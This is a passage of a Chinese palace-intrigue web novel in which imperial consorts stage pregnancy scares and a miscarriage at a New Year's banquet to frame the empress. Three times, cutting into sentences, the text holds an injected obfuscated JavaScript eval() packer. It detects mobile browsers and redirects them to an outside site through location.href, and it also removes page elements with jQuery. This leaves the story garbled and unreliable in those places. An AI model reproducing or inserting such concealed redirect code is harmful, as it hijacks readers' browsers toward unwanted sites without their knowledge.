汪嬷嬷面色不由一变,以为万皇后是怀疑上自个儿,连忙自辩:“娘娘容禀,若没有娘娘的吩咐,老奴岂敢对德嫔出手!况且方才李太医不是也说了,是她自己动了胎气。” 万皇后自然知道,她仔细打量了汪嬷嬷一眼,将她看的浑身发毛。 半晌后,万皇后终是放下了怀疑。不过她心底总有一个声音告诉她,这件事没有那么简单。 “去查查昨夜尚食局的记录,尤其是送往昌庆宫的那份膳食。顺便……再暗地里打听一下贞妃她们最近的动静。” 万皇后的话音刚落,汪嬷嬷便低头应道:“是,娘娘。老奴这就去办。” 她退下后,动作迅捷地召集了坤宁宫的几名心腹宫人,分头行事。 坤宁宫的耳目遍布后宫,这些年,万皇后靠着这张网,稳坐中宫之位,鲜有事能瞒过她。 与此同时,贞妃的玉堂宫中,一片寂静。 贞妃正靠在软榻上,手中把玩着一柄如意,神色阴晴不定。 昨夜是她派人下的手,份量本就不足以滑胎,只能引起腹痛。这是前朝流传的秘药,连太医也是查不出来的。 “娘娘……” 贞妃的贴身宫女碧玉进来,跪下禀报,“奴婢打听到,陛下和皇后今早去了昌庆宫。听说李太医诊了脉,说是动了胎气,已无大碍。皇后还亲自过问了尚食局的事。” 贞妃冷笑一声:“皇后?她的鼻子向来灵得很,怕是已经起疑了。也罢,咱们也该再去加把火了。” 碧玉应了一声,退出了大殿。 贞妃起身走到窗边,望着外头的宫墙。雪花纷飞,覆盖了宫中的一切痕迹。 她在心底暗了暗:贤妃那狐狸,撺掇我出手,自己躲在后头看热闹。若德嫔这胎真没了,第一个被查的定是我。到时,她再落井下石,我岂不是做了嫁衣?不行,得想个法子,让贤妃也沾上这事。还有永和宫那位也是,总让她挑头,终究不是个事儿啊…… 待德嫔转醒的时候,已经是下午了,只见她身侧的宫女立即围过来,乱作一团。 “娘娘醒了,还不快去给万岁爷和皇后娘娘报信!” 绿袖轻叱了一声,不慌不忙地指挥着昌庆宫的宫女们。很快,她又吩咐人去请了李太医过来。 德嫔起初还有些迷离,不过很快她突然一惊,然后双手捂住自己的小腹:“本宫的孩子……” 绿袖走上前,为德嫔掖了掖被子,安抚道:“娘娘,您只是动了胎气,小皇子还在……” 闻言,德嫔这才回过神,神情明显一松。 德嫔靠在床榻上,脸色虽仍苍白,却恢复了几分精神。 她轻轻抚摸着小腹,自言自语道:“本宫这胎来的不易,一定要保住。绿袖,你昨夜可有留意,本宫的膳食可有何不对之处?” 绿袖闻言,心头微微一紧,却面上不露痕迹。她低头斟了盏温热的安胎汤递上:“娘娘,奴婢昨夜亲眼看着的。燕窝粥是尚食局新熬的,小菜也是新鲜的。只是……” 说罢,绿袖似乎是想起了什么,一时不留意,竟开了口:“只是……” 然后很快,绿袖就反应过来,立即闭了口,不在言语。 德嫔见她话说了一半却突然闭了口,于是问道:“你是不是有什么发现?” 绿袖打着哈哈,“没什么,是奴婢一时想岔了,许是主子昨儿在御花园站久了,着了凉气。太医也这么说,娘娘莫要多想,安心养胎才是上策。” 此话一出,反而勾起了德嫔强烈的好奇心,开始步步追问起来。 见鱼儿上钩,绿袖又扭捏了几下,这才压低了声音:“实不瞒娘娘,娘娘昨儿个吃的燕窝,是皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590351|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后娘娘赏的……” “什么!” 德嫔面色大变,声音不由自主地拔高了几分:“皇后赏的?本宫怎么会不知道?绿袖,你是说……那燕窝有问题?” 见德嫔反应如此激烈,绿袖心中暗喜,却装作惶恐模样,赶紧跪下:“娘娘息怒!奴婢也是出了这事之后才打听了一番。听说皇后娘娘昨儿赏了好些燕窝给各宫娘娘,咱们也是有份的。咱们这份,又是尚食局的覃司膳亲自送来的。奴婢本不该多嘴,怕娘娘多心,可昨夜腹痛来得蹊跷,奴婢总觉得有些不对劲……” 闻言,德嫔心如擂鼓。 她本就疑心后宫有人暗害,却万万没想到会牵扯到皇后。 若说万皇后不愿意她生下这个孩子她是信的,可若是说万皇后公然谋害她,她却有些不敢相信。 这些年,后宫的嫔妃接连小产,莫非都是皇后在背后使手段? 德嫔摸着小腹,眼中闪过一丝疑惑:“皇后……她怎么会公然害本宫!不……不是她,这件事不是她……” 德嫔不停反驳自己,可怀疑的种子一旦种下,就再难以拔除了。 她在床榻上反复思量,脸色愈发苍白。 各种危险的念头在她的脑海中浮现,她强迫自己摇头:“不可能,皇后乃中宫之主,何须对本宫下手?况且陛下今早亲临,还叮嘱彻查此事。若是皇后所为,岂非自寻麻烦?” 可话虽这么说,心底那抹疑云却如野草般疯长。 这些年,后宫嫔妃小产频仍,哪个不是来得突然?早年的贤妃、贞妃,还有前些时日的甄贵妃……虽然都结了案,可谁又知道背后的真相究竟是什么! 若皇后为了巩固自己的地位,她不容宫里有孩子出世,说起来倒也合情合理。 绿袖见德嫔神色变幻不定,知道火候到了,便低声劝道:“娘娘莫要多想,那燕窝诸位娘娘那儿都送了,总不能就咱们这里出了事。现下娘娘的身子要紧,先服了安胎汤再说罢。” 德嫔接过汤盏,却没有喝,只是盯着碗中晃荡的汤汁出神。 半晌,她忽然抬头:“绿袖,你说皇后是赏了所有嫔妃燕窝?可为何宋美人那儿没听见什么动静?你跟本宫说实话,这燕窝真真是皇后赏的?” 见德嫔的目光落到自己身上,绿袖心里一咯噔,然后立即开口道:“回娘娘,千真万确,昨儿的确是皇后娘娘赏的。奴婢特意打听过的,说是坤宁宫那边特意发了旨意,给宫中嫔妃补身子用的。至于宋美人那儿有没有得,或是得了之后有没有食用,奴婢就不清楚了……” 绿袖的话说得半真半假,面上装作诚惶诚恐,心里却暗自盘算:这下德嫔更要起疑了。只有要让她咬定了是皇后,才能搅得后宫鸡犬不宁。 她低着头,偷偷觑了德嫔一眼,只见德嫔脸色铁青,手中的汤盏颤抖不已。 德嫔心头如遭重击。 她本不愿信皇后会公然下毒,可绿袖的话如一根刺,扎得她生疼。 宋美人同样有孕在身,若没有得燕窝也就罢了。可她若也得了燕窝,为何无恙?难道皇后只针对她一人? 一时间,德嫔思如泉涌,却还是拿不住万皇后的意图。 她将汤盏重重搁在案上,声音冷厉:“绿袖,你悄悄去打听一下宋美人宫里可有得了这燕窝!若有的话,她可有腹痛……” 绿袖心中一喜,却装作犹豫:“奴婢这就去,若有消息,马上回来禀报娘娘。” 德嫔点头:“去吧,仔细些。莫要让人察觉。” 待绿袖退下,她靠回枕上,眼中闪过一丝狠厉。皇后……若真是你,本宫这胎若有闪失,定要让你付出代价! 16. 第 16 章 次日一早,陆陆续续有宫妃来探望德嫔。 德嫔的脸色虽仍有些苍白,强打精神接待来访的嫔妃们。 昨日绿袖探得宋美人并未收到皇后的赏赐,几乎已经摆明了皇后是要对她出手。但公然投毒害她,德嫔还是有些不敢相信。 禧嫔等人来时,德嫔与她们寒暄几句,收下她们的礼物后,便被她客气地送走了。她同这些人本就无甚交情,她们来此也多半是存了看热闹的心思。 送走了禧嫔等一干同位嫔妃后,德嫔又迎来了宜含等人。 宜含本不愿来昌庆宫这样的是非之地,只是耐不住贞妃和贤妃一个劲劝。且她也想试探一下德嫔的口风,遂还是跟她们一共来了此地。 待三人入殿,气氛顿时变的微妙起来。 贞妃走在最前,因为旧疾未愈,她的声音就有些乏力:“妹妹身子可好些了?昨夜传出妹妹腹痛的消息,我们可都急坏了。” 贤妃摆出一张笑脸,附和道:“正是,妹妹有孕在身,本该要好生静养的。只是咱们姐妹不大放心,于是今儿特意来瞧瞧。” 见两人打开了话匣子,宜含则稍为要矜持些,她只是淡淡一笑:“听闻妹妹昨夜受了惊,妹妹平日可得要多加小心才是,万不像我当初那般不慎小产。” 见宜含连自个儿的事都翻出来了,贞妃目露一抹精光,端起手里的茶盏浅浅抿了一口。 德嫔心中冷笑连连,她前夜腹痛之事,宫中已经传遍了,这些人来得这般齐整,只怕不是单纯探病。 尤其是贞妃和贤妃,那眼神中藏着算计。至于甄贵妃,她向来不爱掺和宫里的是非,这次却还一同跟来了,定然是有什么深意。 她强颜欢笑,欠身道:“多谢三位姐姐挂念。我的身子已无什么大碍,太医说只是动了胎气,吃几贴药就好,劳三位姐姐挂念了。” “嗐……” 贤妃后音拉得老长,她甩了甩手里的帕子,“妹妹这是说的什么话,平白伤了咱们姐妹们的情分。” 贞妃却是突然起身,笑着拉起德嫔的手:“听了妹妹这句话,我也就放心了。妹妹这胎若是皇子,陛下一定会厚赏妹妹。到时,咱们姐妹都跟着沾光。只是……” 说到这里,贞妃话锋一转:“妹妹可知昨夜腹痛的缘由?宫中风言风语,姐姐倒也听到了些闲话,说是妹妹的膳食出了岔子?” 德嫔心头一紧,暗想:果然来了! 她瞥了一眼绿袖,那丫头低头侍立在一旁,神色如常。 她斟酌道:“多谢姐姐关心。妹妹也正疑心呢,前儿个不过用了些燕窝粥,谁知半夜就痛了。李太医说是无妨,只是动了胎气的缘故……” 眼下情况不明,德嫔也不敢随意将这事儿攀扯到万皇后身上,于是又补充了一句为自己找补。 贤妃闻言,与贞妃交换了个眼神,装作惊讶:“燕窝粥,我记得前儿个皇后娘娘赏了众姐妹们……” 话音刚落,不知是贤妃故意只说到这里,还是察觉到自己的失言,她立即停下了。 宜含微微皱眉,她本是来试探德嫔对皇后的态度。现下听来,倒是贞妃她们似乎是有意要将此事引到万皇后身上。 她轻咳一声:“贤妃姐姐慎言,那燕窝粥我也用了,自然是无碍的。” “是我失言了,不过德嫔妹妹也不是外人,咱们姐妹说说笑笑,只当听个笑话罢了。” 贤妃掩面一笑,大方承认了错误。 德嫔闻言,心头微微一颤。 她本就对燕窝一事疑云密布,现下贤妃直言点出皇后赏赐,宜含却又出言否认,这三人的话里藏着玄机,让她不由警觉起来。 皇后虽然赏赐了燕窝,可宋美人那儿却查无此事。宜含说自己用了无碍,这其中,莫非有什么蹊跷? 德嫔浅浅笑了一声,“贤妃姐姐说的是,我也听身边的绿袖提到过,说是皇后娘娘的好意。只是……宋美人那儿似乎没得这份赏赐。李太医说妹妹并无大碍,三位姐姐莫要为本宫忧心。” 贞妃闻言,眼中精光一闪。 她本想借机煽风点火,让德嫔直咬皇后,谁知这丫头滑溜,竟不直接上钩。 她轻轻握紧德嫔的手,声音柔中带刺:“那就好,皇后娘娘母仪天下,我们姐妹无不敬服,妹妹不要多心了。只是,这些年宫里孩子……” 贞妃顿了顿,“陛下这些年虽然没明说,我却也知道他是挂在心上的。妹妹这一胎来的珍贵,可得加倍小心,莫要像我们当年那般……” 剩下的,贞妃就没有说了,可意思不明而喻。 贞妃本不愿旧事重提,那小产之事,乃她入宫后最大隐痛。 但鱼饵已下,为了引君入瓮,不得不旧事重提了。 德嫔自然这些年宫里的嫔妃近乎全是小产,除了贤妃的敬懿公主,连一个捱到足月的都没有。 那些小产之事,说是天意,谁又会信? 她强压住心头的寒意,面上却装作茫然:“姐姐的话,妹妹明白。只是……皇后娘娘恩重,妹妹定然要养好身子。” 贞妃见她不接茬,眼中闪过一丝不满,却很快掩饰,松开德嫔的手,叹息道:“妹妹聪慧,自然明白姐姐的好意。罢了,不说这些扫兴的话了。妹妹安心养胎,我们姐妹自当多来走动走动,免得妹妹一个人闷着。” 贤妃见贞妃收了话头,也赶紧附和:“正是,正是。妹妹若缺什么,只管打发人来说一声。我们姐妹间总要互相照应的。” 宜含坐在一旁,一直未多言语。 她观察着德嫔的神色,见她眼中闪过一丝警惕,心知今日的试探已然见效。 德嫔对皇后的怀疑,已如种子般悄然生根,只待时机成熟,便会破土而出。 三人又闲聊了几句宫中琐事,便起身告辞。 德嫔送她们到殿门,目送三人远去,方才收回目光,脸色沉了下来。 “绿袖。” 她低声唤道。 绿袖赶紧上前:“娘娘有何吩咐?” 德嫔坐回榻上,揉了揉眉心:“你说,贤妃她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590352|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们今日来,是何意?她们的话里话外,似乎都指向了皇后……” 绿袖闻言,低头斟茶,声音轻柔:“娘娘耳聪目明自然看得明白。贤妃和贞妃她们这些年也没少吃亏,尤其是贞妃娘娘,当年小产的事,宫里传得沸沸扬扬。” “还有甄贵妃,她小产更是疑点重重,杨彩兰区区御前一个奉茶女官,怎么有胆子对风头正盛的贵妃出手!还有郑尚食也是死的不明不白的,要知道她可是皇后娘娘提拔的人!” 虽然是这样说,可绿袖的意思德嫔却是明白了。郑尚食是皇后的人,若不是皇后自己出手,谁又敢动她的人呢? 万岁爷倒是敢,可万岁爷是谁,他是天子!大可明着除了她,不必用这样的手段。 如今想来,贤妃她们疑心到皇后头上,也不足为奇了。 绿袖小心翼翼抬头看了德嫔一眼,才压低了声音继续道:“奴婢以为,她们或许是想拉娘娘入伍,一起对付坤宁宫那位。娘娘如今有孕在身,何必趟这浑水?万一惹恼了皇后,只怕就不妙了!” 德嫔闻言,心头一沉。 她本就对皇后生疑,现下贤妃她们的举动,更让她觉得此事不简单。 难道皇后真在背后下手? 可若真是如此,她又岂能坐以待毙? 她想了想,开口道:“你暗中去打听打听,贤妃和贞妃她们最近可有什么出格之举。尤其是甄贵妃,她向来不爱掺和,怎么今儿也来了?” 绿袖应了一声,退出了正殿。 德嫔独自坐在内室,窗外阳光洒入,却照不暖她的心。 她眼中闪过一抹厉色,暗下决心:无论如何,这个孩子都要保住。若万皇后真要害她,她也绝不会束手就擒! 与此同时,永和宫中,宜含三人聚在偏殿,商议此事。 贞妃抿了口茶,眼中闪着冷光:“咱们的话德嫔也听了进去,她却不肯明说。看来,还得再推她一把才是。” “贞姐姐说的是。” 贤妃点头:“不过我瞧着德嫔的疑心已起,只待除夕宴上,咱们再添把火,坤宁宫那毒妇一定会露出马脚!” 宜含闻言,眉头微皱:“两位姐姐,此事的风险不小。除夕宴上,陛下和外臣都在,若闹大了,只怕咱们也脱不了干系。尤其是德嫔腹中孩子,若真出了事,陛下定会彻查。” 贞妃冷笑了一声:“妹妹多虑了,咱们又不会真害了那孩子。只让她痛上一痛,疑到皇后头上罢了。陛下这些年虽护着皇后,可若是证据确凿,他也容不得她继续作恶!” 贤妃附和:“妹妹,咱们的孩子都没了,坤宁宫这些年欠下的血债,该还了!” 宜含闻言,心头复杂。 她对皇后的恨意不减,可一想到除夕宴的计划,仍觉如履薄冰。但箭在弦上,不得不发。 她点头道:“既如此,就依两位姐姐的。” 三人又细细商议了许久,方才散去。 至于同样有孕宋美人,打一开始,就已经被贤妃她们视为弃子了。 17. 第 17 章 转眼,到了除夕这日。 宫中张灯结彩,洋溢着喜气洋洋的味道。 姬阆在乾清宫刚将去岁的折子全部清理完毕,他的心神有些不宁,近来总梦到南苑的日子,可醒来后,后宫的事情却让他烦闷不已。 除夕宴当晚,禁廷灯火通明。 今年的宫宴设在玉津园,姬阆和万皇后在福庆殿接受完百官朝贺后,两位至尊分别移驾各自主导的场地。 以姬阆为首的男宾在前面的福庆殿。 而女眷则在迎春苑里搭了彩帐,将席面设在此处。 万皇后高坐上首,在她左右两侧,分别是永宁长公主和延庆长公主。两位长公主是姬阆的同胞姐妹,地位十分尊崇。 再往下,就是宜含为首的四夫人,和德嫔这些高位嫔妃。 其他的诰命夫人,则分居在左右两侧的彩帐内。账内设有数个炭盆,温度比之室内也不遑多让。 万皇后捧起酒杯,她妆容精致大方,遥对众人致意,红唇轻启:“值此佳节,良辰岁旦,愿共天下臣民永享升平!” 她算是为宴会起了个头。 话音刚落,众人纷纷起身,遥敬万皇后,她们异口齐声:“良辰佳节,臣妾等,恭祝大周金瓯永固,永享升平!” 众人共饮下杯中之物后,内外命妇按照身份高低,依次向万皇后致贺。 宜含身为内命妇之首,自然首当其冲,她莲步微移,走到万皇后案几前躬身一礼,“臣妾恭祝皇后娘娘嘉庆与时新,愿娘娘欢笑尽娱,乐哉未央。” 坐在万皇后两侧的长公主不敢受了她这一礼,纷纷起身退至到一侧。 自高庙光复之后,因本朝严防外戚之顾,似她们这般的皇女所嫁之人也不过只是普通门第,地位并不崇高,非年节,更不得入宫。 万皇后双眼含笑,她微微抬手,免了宜含的礼,“贵妃同禧,本宫与你共饮一杯。” 说罢,她让侍婢为宜含斟了一杯酒,递了过去。 宜含谢过,酒是上好的梨花春,香气扑鼻。她浅浅抿了一口,口中回甘,心底却有些发苦。 万皇后的目光如芒在背,让她不由想起前几日的密谋。 宜含退回座位,接下来是贤妃、贞妃、丽妃等人依次上前致贺。她们面上皆是笑意融融,口中贺词华美,却各怀鬼胎。 贤妃上前时,特意瞥了德嫔一眼,那道眼神中透着一丝算计。 德嫔坐在下首,抚着微微隆起的小腹,神色平静,却心如擂鼓。 宴席渐入佳境,一时歌舞升平。 宫乐响起,舞姬们身着彩衣,在园中翩翩起舞,彩帐内灯火摇曳,映得众人脸庞忽明忽暗。 外命妇们低声交谈,议论着今年的年景和宫中喜事。 延庆长公主笑着对永宁长公主道:“今年宫里双喜临门,德嫔娘娘和宋美人都有孕在身,相信陛下的膝下很快就该有皇嗣了。” 永宁长公主点头,眼中却闪过一丝忧色。 她是姬阆的胞姐,这些年见识过后宫的血雨腥风,对万皇后的手段早有耳闻,却因身份不便多言。 她暗暗瞥了万皇后一眼,低声道:“但愿如此吧,只是宫里这些年……唉……” 话音落下,永宁长公主又是一叹。延庆长公主似乎也察觉到什么,她笑着岔开了话题,不一会儿,两人又和主位上的万皇后说笑起来。 就在众人尽欢时,席间忽然传来一声低呼。 众人循声望去,只见宋美人脸色煞白,双手紧紧捂住小腹,冷汗直流。 按例,宋美人这样的低位嫔妃是没有资格参加宴会的,只是她怀有身孕,万皇后破例带了她过来。 只见宋美人身边的宫女慌忙上前扶住住她,却被她用力推开。宋美人强忍痛楚,颤声道:“皇后娘娘……臣妾腹痛……怕是……怕是动了胎气……” 彩帐内顿时乱作一团。 万皇后闻言,眉头微皱,起身道:“宋美人,你这是怎么了?快传太医!” 宜含、贤妃、贞妃三人交换了一个眼神,心知计划已然启动。 很快,整个会场陷入一片混乱,万皇后立即起身向宋美人的席位走去。 两位长公主相视一眼,永宁长公主抿了抿唇,大着胆子也跟着上去了。 德嫔在后面看的心惊肉跳,宋美人突然发作起来,不由让她想起了那碗燕窝粥,心下对万皇后更忌惮了。 万皇后快步走到宋美人跟前,脸色虽仍保持着中宫的从容不迫,却隐隐透出一丝不悦。 她俯身查看宋美人的情况,只见宋美人额头渗出一层细密的汗珠,脸色苍白如纸,没有一丝血色,她捂在小腹处的手指微微颤抖。 周围的宫女们手忙脚乱,有的端来热水,有的去传唤太医,整个彩帐内顿时弥漫着一股紧张的气氛。 不少诰命夫人们一时都呆住了,只有寥寥几个胆大的悄悄向宋美人的方向望了望。 吏部侍郎高巍的夫人杨氏瞥了宋美人一眼后,就回到自己的位置上一言不发起来,她暗暗摇了摇头,显然是认定了宋美人这胎不成了。 “宋美人,你莫要慌张。” 万皇后柔声安抚道,她伸手轻轻按了按宋美人的肩头,“本宫已命人去请太医,你且忍一忍。” 宋美人闻言,勉强抬起头,眼中泪光闪烁。 她本是低位嫔妃,平日里在后宫中如履薄冰。这次的除夕宴,虽然是身份和地位的象征,可她生性胆小,本不愿参加。奈何是皇后开口,她不敢驳了皇后的颜面,这才过来了,没想到会发生这样的事情。 宋美人咬牙道:“谢……谢娘娘……臣妾……臣妾不知怎么回事……刚才还好好的,突然就……就痛得厉害……怕是吃了……吃了什么东西……” 此话一出,席间众人不由倒吸一口凉气。 外命妇们立即低声议论起来,目光不时投向主位的几位娘娘们。 贤妃和贞妃交换了一个得逞的眼神。 宜含坐在一旁,表面上装作关切,实则心潮澎湃。她想起自己小产时的痛楚,对万皇后的恨意如潮水般涌来,却也隐隐担忧计划是否会失控。 永宁长公主跟上前,她眉头瞬间紧锁。 她思虑再三,还是忍不住上前拉住万皇后的袖子,低声道:“皇后娘娘,宋美人这……来得突然,可是要仔细查查?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590353|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽在宫外,可宫里这些日子风波也是听到了许多,陛下那边……” 万皇后闻言,脸色微微一变,然后很快就恢复如初。 她转头对永宁长公主道:“多谢皇姐提醒,本宫自会派人处置。来人,先扶宋美人到琉璃馆歇息,等太医来了再说。” 就在此时,太医匆匆赶来,是张太医和另一位值班的孙太医。他们跪地请安后,立即为宋美人诊脉。 殿内一时安静下来,只闻炭盆中木炭噼啪作响,和远处福庆殿传来的隐约丝竹声。 然不等两位太医为宋美人搭脉,宋美人腹下的裙摆映出一抹殷红。 很快,就有眼尖的人瞧见了,顺嫔捂着嘴巴惊呼了一声:“血……宋美人流血了……” 顺嫔的惊呼如惊雷般炸响在彩帐内,瞬间打破了短暂的宁静。 众人闻言,目光齐刷刷投向宋美人,只见她裙摆下那抹殷红正缓缓扩散,空气中隐隐弥漫着一股血腥味。 宋美人自己也察觉到了,她只觉的小腹一热,低头一看,脸色顿时煞白如纸,双手颤抖着捂住小腹,口中发出低低的呜咽:“我的孩子……我的孩子……” 殿内彻底乱了套,宫女们手忙脚乱,有人尖叫着去取干净的帕子,有人奔向外头呼喊更多太医。 外命妇们面面相觑,眼中满是惊恐和八卦,有的甚至低声议论:“年关上出了这样的大事,只怕是不妙啊……” 宜含起身关切上前,实则心如擂鼓。 看着地下被沾染上的血渍,她不由一阵沉思,她们想要借此扳倒万皇后,可若宋美人的孩子没了,这笔血债岂不也要算到她们头上? 万皇后脸色铁青,她快步上前,亲自扶住宋美人,虽然还比较镇定,可声音中却带着一丝不易察觉的慌乱:“你不要慌!太医,还不快给宋美人诊治!” 她转头对汪嬷嬷厉声道:“还不去通知万岁爷!” 话音未落,她又面色不虞地看着两位太医,下了死令:“宋美人和皇嗣要是有个什么好歹,你们一个都跑不掉!” 闻言,汪嬷嬷连滚带爬地去了前面的福庆殿。而张太医和孙太医也顾不得什么礼数,赶紧上前为宋美人把脉。 张太医的手搭上宋美人的腕间,他的眉头越皱越紧,额头流出一层细密的汗,半晌后才起身禀道:“回皇后娘娘,宋美人这是……小产征兆!且美人的脉象虚弱,胎气已散,臣等需立即施针止血,开方安胎,但……但恐怕还是难以保全。” 此言一出,满园哗然。 诰命夫人们三五成群,在后面小声议论不止,久闻宫里的主子们时有小产,今儿她们也算是见识到了。 德嫔闻言,心头一沉,她本就对万皇后生疑,现下宋美人竟直接小产,这让她不由自主地抚上自己的小腹,暗自想道:下一个会不会就是我了? 她上前一步,不知是不是太过惊恐,此时竟突然开口道:“这……宋妹妹好好的,怎么会突然小产?前些日子我是吃了皇后赏的燕窝粥之后才不大舒服的……今儿宋妹妹怎么也……她……她难道?皇后不是没赏她燕窝吗?” 此话一出,众人的目光顿时从宋美人转移到德嫔身上。 18. 第 18 章 见无数人的目光都落到自己身上,德嫔从她们的眼中,看到了怜悯、戏谑,甚至是看乐子,她这才意识到自己一时不慎,竟将心里话脱口而出。 想到此处,德嫔悔恨不已,立即捂住了自己的嘴。 万皇后面色一沉,恨不得立即手撕了这个蠢货,堵住她的狗嘴。 她强压住心头的怒火,目光如刀般扫向德嫔,那眼神中透着森冷的杀意。 德嫔被盯得脊背发凉,后悔自己一时口快,竟在众目睽睽之下将疑心直说出口。 她赶紧低下头,装作关切宋美人的模样,声音颤抖道:“皇后娘娘恕罪,臣妾……臣妾只是太过担心宋妹妹,一时失言胡言乱语……” 园内气氛顿时凝固如冰。 外命妇们交换眼神,知道涉及到后宫争斗,此时更不敢上前招惹到这些娘娘们的注意。 有人却犯起嘀咕:德嫔这话说一出口,甭管是不是真的,只怕都被万皇后记恨上了。 贤妃和贞妃见状,恨不得原地大笑三声。 当真是真是瞌睡来了就有人送枕头,原来她们只是借宋美人质疑到万皇后身上,没想到德嫔竟然出了岔子,直接将自己的怀疑抖了出来。 贤妃暗自捏紧帕子,面上却装作一副震惊的样子,她上前一步道:“德嫔妹妹,你莫要胡言!皇后娘娘母仪天下,岂会做谋害皇嗣的事?况且那日皇后娘娘赐下燕窝是给后宫姐妹们补身子的,本宫也用了那燕窝,并无不妥啊……” 贤妃此言看似是在为万皇后站台,可也坐实了万皇后赐给德嫔燕窝之事,是越描越黑。 贞妃立即附和道:“宋妹妹今日只是意外,可德嫔妹妹这话……未免太伤皇后娘娘之心了!” 宜含站在一旁,一言不发,她是这件事的推手之一,可当她真的看到这血淋淋的场面,她又开始心生恐惧。 她瞥了万皇后一眼,只见后者脸色铁青,却仍强作镇定,心中不由生出一丝复杂。 万皇后闻言,冷笑一声。 她转头对德嫔道:“德嫔,你既有此疑心,为何那日不当着万岁爷的面说出来?何故现在才旧事重提?那日李太医说你只是动了胎气,可跟本宫赏的燕窝没有半分关系!万岁爷也是听的清清楚楚的。你这般狂犬吠日,胡乱攀扯本宫,又该当何罪!” “还是说……”万皇后话锋一转,“你仗着自己怀了龙胎,便开始目中无人,连本宫也不放在眼里了!” 万皇后心知今夜之事是有人存心栽赃陷害,她虽然下手无数,可德嫔和宋美人她并未出手。 面对德嫔的揣测,她并不打算姑息! 万皇后的话如利剑般直刺德嫔心窝,众人闻言,皆是倒吸一口凉气。 德嫔脸色煞白,本就因宋美人小产而心神不宁,现下被万皇后当众斥责,丢了大脸,更是如芒在背。 吓的她赶紧跪下,声音颤抖如秋叶:“皇后娘娘恕罪!臣妾……臣妾绝无此意,只是见宋妹妹小产,臣妾心急如焚,一时口不择言……那日腹痛,臣妾确实是用了燕窝后发作的,可……可臣妾不敢攀扯娘娘……万死不敢疑心娘娘啊!” 就当万皇后还要说什么时,姬阆的御驾到了。 只见一排身着青衣的宦官开道,伴随着一阵巴掌声,姬阆大步流星走了过来,直奔地上的宋美人而去。 在路过万皇后时,姬阆抿了抿唇角,没有给她任何一个眼神。 德嫔的眼珠滴溜溜一转,顿时心生一条妙计出来。 她暗暗瞥了万皇后一眼,皇后当着众诰命的面让她没了脸。她也要让皇后知道,自己也不是什么软柿子! 打定了主意,就在姬阆询问宋美人的情况的时候,德嫔突然捂住小腹往地上一倒,顿时惨叫不已。 德嫔的惨叫如尖利的银针般刺破了园内的死寂,瞬间将所有人的注意力从宋美人身上拉扯过来。 只见她捂着小腹,脸色苍白如纸,身子软软地倒在地上,口中发出断断续续的痛呼:“哎哟……我的孩子……万岁爷……臣妾的肚子……好疼……好疼啊……” 殿内众人闻言,皆是大惊失色。 外命妇们本就因宋美人的小产而心惊胆战,现下又见德嫔发作,一个个交换眼神,暗想:今儿究竟是怎么回事?后宫有孕的娘娘们一个个都出事了,莫非真是皇后在暗中作怪? 因德嫔先前闹的那一出,在场的诰命都吃到了皇家的大瓜,加上这些年宫里前前后后没了那么多孩子,自然而然也就怀疑到了万皇后身上。 贤妃和贞妃见状,心头一凛,她们的计划本是借宋美人腹痛质疑皇后,谁知德嫔竟在这节骨眼上倒地,她难不成是想借机火上浇油? 不过德嫔此举,倒也正合她们之意,只有将事情闹的越大,让姬阆不能高高拿起,轻轻放下。 宜含脸色微变,她知德嫔性子浅薄,没想到她会来这一出,心下不由生出一抹疑色。 她和周颐对视一眼,旋即得出了答案。 眼瞧着皇后要处置她了,她这样做,无非是想借着皇嗣顺利脱身罢了,顺便再恶心万皇后一把。 姬阆闻言,眉头紧锁。他本是为了宋美人而来,现下德嫔又倒在地上,两个有孕的嫔妃接连出事,这让他心头如压巨石。 他大步上前,又俯身查看了德嫔的情况,声音低沉:“怎么回事?还不快来给德嫔诊治!” 张太医和孙太医本就在为宋美人施针止血,现下闻言,赶紧分出一人上前。 张太医的手搭上德嫔的腕间,眉头皱起,他深深看了德嫔一眼,知道这是后宫中的争斗,绝不能随意招惹。 半晌后,张太医才起身回话,顺坡下驴道:“回万岁,德嫔娘娘脉象紊乱,似是动了胎气,兴许是受了惊吓所致……” 德嫔起初还有些忐忑不安,不过在听到张太医的话之后,立即定了心神,泪眼婆娑地抬起头,目光直直看向姬阆,声音带着委屈:“万岁……臣妾……臣妾前些日子腹痛,也是用了皇后娘娘赏的燕窝后发作的。今儿见宋妹妹小产,臣妾一时心急……又犯了……万岁,臣妾的孩子……怕是保不住了……皇后娘娘……她……她……” 她的话还未说完,直接两眼一白晕了过去,给众人留下了无限的遐想空间。 空旷的玉津园顿时陷入了死一般的寂静,所有人的目光都集中在德嫔那张苍白的脸上。 